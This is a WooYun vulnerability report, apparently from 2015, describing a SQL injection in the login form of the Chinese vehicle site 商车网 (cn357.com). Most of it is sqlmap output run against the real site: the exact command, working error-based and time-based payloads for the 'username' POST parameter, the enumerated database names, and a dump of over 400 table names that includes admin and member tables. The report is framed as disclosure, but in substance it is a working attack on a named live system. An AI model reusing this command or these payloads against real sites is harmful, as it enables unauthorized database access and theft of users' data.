当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146705

漏洞标题:商车网抓好你post sql注入

相关厂商:商车网

漏洞作者: PonshineSecurity

提交时间:2015-10-14 18:05

修复时间:2015-11-28 18:06

公开时间:2015-11-28 18:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-11-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

root@kali:~# sqlmap -u "http://www.cn357.com/login_1" --data "m=ajax&func=checkLogin&username=a'&userpwd=a" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151014}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:27:29
[15:27:29] [WARNING] it appears that you have provided tainted parameter values ('username=a'') with most probably leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[15:27:30] [INFO] resuming back-end DBMS 'mysql'
[15:27:30] [INFO] testing connection to the target URL
[15:27:30] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: m=ajax&func=checkLogin&username=a' AND (SELECT 3265 FROM(SELECT COUNT(*),CONCAT(0x71707a7671,(SELECT (ELT(3265=3265,1))),0x716b6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- MrrW&userpwd=a
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: m=ajax&func=checkLogin&username=a' OR SLEEP(5)-- Mqpd&userpwd=a
---
[15:27:31] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:27:31] [INFO] fetching database names
[15:27:31] [INFO] the SQL query used returns 3 entries
[15:27:31] [INFO] resumed: information_schema
[15:27:31] [INFO] resumed: mall
[15:27:31] [INFO] resumed: sc
available databases [3]:
[*] information_schema
[*] mall
[*] sc
获得数据库
-----------------------
[15:28:22] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[15:28:22] [INFO] fetching tables for database: 'sc'
[15:28:22] [INFO] the SQL query used returns 435 entries
Database: sc
[435 tables]
+----------------------------------+
| c_acp_home_cat |
| c_acp_home_data |
| c_admin |
| c_admin_log |
| c_article |
| c_article_cat |
| c_auto |
| c_auto_brand |
| c_auto_cat |
| c_auto_corp |
| c_auto_image |
| c_auto_sale |
| c_auto_serv |
| c_baike |
| c_baike_ads |
| c_baike_cat |
| c_block |
| c_chat |
| c_comments |
| c_credit_log |
| c_credit_rule |
| c_dingche |
| c_dingche_look |
| c_fit |
| c_fit_attr |
| c_fit_attr_cat |
| c_fit_attr_info |
| c_fit_brand |
| c_fit_cat |
| c_fit_images |
| c_fit_price |
| c_fuel |
| c_fuel_detail |
| c_guache |
| c_guache_ads |
| c_guache_basic |
| c_guache_body |
| c_guache_chassis |
| c_guache_factory |
| c_guache_other |
| c_guache_parts |
| c_heartland |
| c_heartland_category |
| c_heartland_data |
| c_hotkeywords |
| c_index_imageenjoy |
| c_index_scroll |
| c_info_cat |
| c_kache |
| c_kache_ads |
| c_kache_brand |
| c_kache_model |
| c_kache_picture |
| c_keche |
| c_keche_ads |
| c_keche_brand |
| c_keche_model |
| c_keche_picture |
| c_keyword |
| c_keyword_status |
| c_links |
| c_member_fields |
| c_member_info |
| c_members |
| c_merchant |
| c_merchant_auth |
| c_merchant_brand |
| c_merchant_cat |
| c_merchant_comments |
| c_merchant_message |
| c_merchant_product |
| c_merchant_product_attached |
| c_merchant_rank |
| c_merchant_scope |
| c_merchant_staff |
| c_messages |
| c_messages_coo |
| c_model |
| c_model_attr |
| c_model_attr_cat |
| c_model_attr_info |
| c_model_brand |
| c_model_cat |
| c_model_fppcar_cat |
| c_model_images |
| c_msg_cat |
| c_notice |
| c_notice_brand |
| c_notice_key |
| c_peijian |
| c_peijian_ads |
| c_peijian_ads_index |
| c_peijian_brand |
| c_peijian_category |
| c_peijian_category_field |
| c_peijian_category_shop |
| c_peijian_enquiry |
| c_peijian_model |
| c_peijian_picture |
| c_pic |
| c_pic_cat |
| c_pic_color |
| c_price |
| c_product |
| c_product_attached |
| c_product_attr |
| c_product_attr_group |
| c_product_lib |
| c_product_para |
| c_project_mangment |
| c_region |
| c_sessions |
| c_sessions_data |
| c_special |
| c_special_node |
| c_special_style |
| c_user_cat |
| c_useradded |
| c_video |
| c_view_article |
| c_view_count |
| c_view_video |
| c_xiaoche_ads |
| c_zyc_ads2 |
| d_common_addon |
| d_common_admincp_cmenu |
| d_common_admincp_group |
| d_common_admincp_member |
| d_common_admincp_perm |
| d_common_admincp_session |
| d_common_admingroup |
| d_common_adminnote |
| d_common_advertisement |
| d_common_advertisement_custom |
| d_common_banned |
| d_common_block |
| d_common_block_favorite |
| d_common_block_item |
| d_common_block_item_data |
| d_common_block_permission |
| d_common_block_pic |
| d_common_block_style |
| d_common_block_xml |
| d_common_cache |
| d_common_card |
| d_common_card_log |
| d_common_card_type |
| d_common_connect_guest |
| d_common_credit_log |
| d_common_credit_log_field |
| d_common_credit_rule |
| d_common_credit_rule_log |
| d_common_credit_rule_log_field |
| d_common_cron |
| d_common_devicetoken |
| d_common_district |
| d_common_diy_data |
| d_common_domain |
| d_common_failedip |
| d_common_failedlogin |
| d_common_friendlink |
| d_common_grouppm |
| d_common_invite |
| d_common_magic |
| d_common_magiclog |
| d_common_mailcron |
| d_common_mailqueue |
| d_common_member |
| d_common_member_action_log |
| d_common_member_connect |
| d_common_member_count |
| d_common_member_crime |
| d_common_member_field_forum |
| d_common_member_field_home |
| d_common_member_forum_buylog |
| d_common_member_grouppm |
| d_common_member_log |
| d_common_member_magic |
| d_common_member_medal |
| d_common_member_newprompt |
| d_common_member_profile |
| d_common_member_profile_setting |
| d_common_member_security |
| d_common_member_secwhite |
| d_common_member_stat_field |
| d_common_member_stat_fieldcache |
| d_common_member_stat_search |
| d_common_member_stat_searchcache |
| d_common_member_status |
| d_common_member_validate |
| d_common_member_verify |
| d_common_member_verify_info |
| d_common_member_wechat |
| d_common_member_wechatmp |
| d_common_moderate |
| d_common_myapp |
| d_common_myinvite |
| d_common_mytask |
| d_common_nav |
| d_common_onlinetime |
| d_common_optimizer |
| d_common_patch |
| d_common_plugin |
| d_common_pluginvar |
| d_common_process |
| d_common_regip |
| d_common_relatedlink |
| d_common_remote_port |
| d_common_report |
| d_common_searchindex |
| d_common_seccheck |
| d_common_secquestion |
| d_common_session |
| d_common_setting |
| d_common_smiley |
| d_common_sphinxcounter |
| d_common_stat |
| d_common_statuser |
| d_common_style |
| d_common_stylevar |
| d_common_syscache |
| d_common_tag |
| d_common_tagitem |
| d_common_task |
| d_common_taskvar |
| d_common_template |
| d_common_template_block |
| d_common_template_permission |
| d_common_uin_black |
| d_common_usergroup |
| d_common_usergroup_field |
| d_common_visit |
| d_common_word |
| d_common_word_type |
| d_connect_disktask |
| d_connect_feedlog |
| d_connect_memberbindlog |
| d_connect_postfeedlog |
| d_connect_tlog |
| d_connect_tthreadlog |
| d_forum_access |
| d_forum_activity |
| d_forum_activityapply |
| d_forum_announcement |
| d_forum_attachment |
| d_forum_attachment_0 |
| d_forum_attachment_1 |
| d_forum_attachment_2 |
| d_forum_attachment_3 |
| d_forum_attachment_4 |
| d_forum_attachment_5 |
| d_forum_attachment_6 |
| d_forum_attachment_7 |
| d_forum_attachment_8 |
| d_forum_attachment_9 |
| d_forum_attachment_exif |
| d_forum_attachment_unused |
| d_forum_attachtype |
| d_forum_bbcode |
| d_forum_collection |
| d_forum_collectioncomment |
| d_forum_collectionfollow |
| d_forum_collectioninvite |
| d_forum_collectionrelated |
| d_forum_collectionteamworker |
| d_forum_collectionthread |
| d_forum_creditslog |
| d_forum_debate |
| d_forum_debatepost |
| d_forum_faq |
| d_forum_filter_post |
| d_forum_forum |
| d_forum_forum_threadtable |
| d_forum_forumfield |
| d_forum_forumrecommend |
| d_forum_groupcreditslog |
| d_forum_groupfield |
| d_forum_groupinvite |
| d_forum_grouplevel |
| d_forum_groupranking |
| d_forum_groupuser |
| d_forum_hotreply_member |
| d_forum_hotreply_number |
| d_forum_imagetype |
| d_forum_medal |
| d_forum_medallog |
| d_forum_memberrecommend |
| d_forum_moderator |
| d_forum_modwork |
| d_forum_newthread |
| d_forum_onlinelist |
| d_forum_order |
| d_forum_poll |
| d_forum_polloption |
| d_forum_polloption_image |
| d_forum_pollvoter |
| d_forum_post |
| d_forum_post_location |
| d_forum_post_moderate |
| d_forum_post_tableid |
| d_forum_postcache |
| d_forum_postcomment |
| d_forum_postlog |
| d_forum_postposition |
| d_forum_poststick |
| d_forum_promotion |
| d_forum_ratelog |
| d_forum_relatedthread |
| d_forum_replycredit |
| d_forum_rsscache |
| d_forum_sofa |
| d_forum_spacecache |
| d_forum_statlog |
| d_forum_thread |
| d_forum_thread_moderate |
| d_forum_threadaddviews |
| d_forum_threadcalendar |
| d_forum_threadclass |
| d_forum_threadclosed |
| d_forum_threaddisablepos |
| d_forum_threadhidelog |
| d_forum_threadhot |
| d_forum_threadimage |
| d_forum_threadlog |
| d_forum_threadmod |
| d_forum_threadpartake |
| d_forum_threadpreview |
| d_forum_threadprofile |
| d_forum_threadprofile_group |
| d_forum_threadrush |
| d_forum_threadtype |
| d_forum_trade |
| d_forum_tradecomment |
| d_forum_tradelog |
| d_forum_typeoption |
| d_forum_typeoptionvar |
| d_forum_typevar |
| d_forum_warning |
| d_home_album |
| d_home_album_category |
| d_home_appcreditlog |
| d_home_blacklist |
| d_home_blog |
| d_home_blog_category |
| d_home_blog_moderate |
| d_home_blogfield |
| d_home_class |
| d_home_click |
| d_home_clickuser |
| d_home_comment |
| d_home_comment_moderate |
| d_home_docomment |
| d_home_doing |
| d_home_doing_moderate |
| d_home_favorite |
| d_home_feed |
| d_home_feed_app |
| d_home_follow |
| d_home_follow_feed |
| d_home_follow_feed_archiver |
| d_home_friend |
| d_home_friend_request |
| d_home_friendlog |
| d_home_notification |
| d_home_pic |
| d_home_pic_moderate |
| d_home_picfield |
| d_home_poke |
| d_home_pokearchive |
| d_home_share |
| d_home_share_moderate |
| d_home_show |
| d_home_specialuser |
| d_home_userapp |
| d_home_userapp_plying |
| d_home_userappfield |
| d_home_visitor |
| d_mobile_setting |
| d_mobile_wechat_authcode |
| d_mobile_wechat_masssend |
| d_mobile_wechat_resource |
| d_mobile_wsq_threadlist |
| d_mobileoem_member |
| d_mobileoem_pushthreads |
| d_myrepeats |
| d_portal_article_content |
| d_portal_article_count |
| d_portal_article_moderate |
| d_portal_article_related |
| d_portal_article_title |
| d_portal_article_trash |
| d_portal_attachment |
| d_portal_category |
| d_portal_category_permission |
| d_portal_comment |
| d_portal_comment_moderate |
| d_portal_rsscache |
| d_portal_topic |
| d_portal_topic_pic |
| d_security_evilpost |
| d_security_eviluser |
| d_security_failedlog |
| d_tools_censorhome |
| d_tools_rule |
| u_admins |
| u_applications |
| u_badwords |
| u_domains |
| u_failedlogins |
| u_feeds |
| u_friends |
| u_mailqueue |
| u_memberfields |
| u_members |
| u_mergemembers |
| u_newpm |
| u_notelist |
| u_pm_indexes |
| u_pm_lists |
| u_pm_members |
| u_pm_messages_0 |
| u_pm_messages_1 |
| u_pm_messages_2 |
| u_pm_messages_3 |
| u_pm_messages_4 |
| u_pm_messages_5 |
| u_pm_messages_6 |
| u_pm_messages_7 |
| u_pm_messages_8 |
| u_pm_messages_9 |
| u_protectedmembers |
| u_settings |
| u_sqlcache |
| u_tags |
| u_vars |
+----------------------------------+
这表也太多了吧

漏洞证明:

QQ图片20151014153042.png

修复方案:

你们懂得

版权声明:转载请注明来源 PonshineSecurity@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝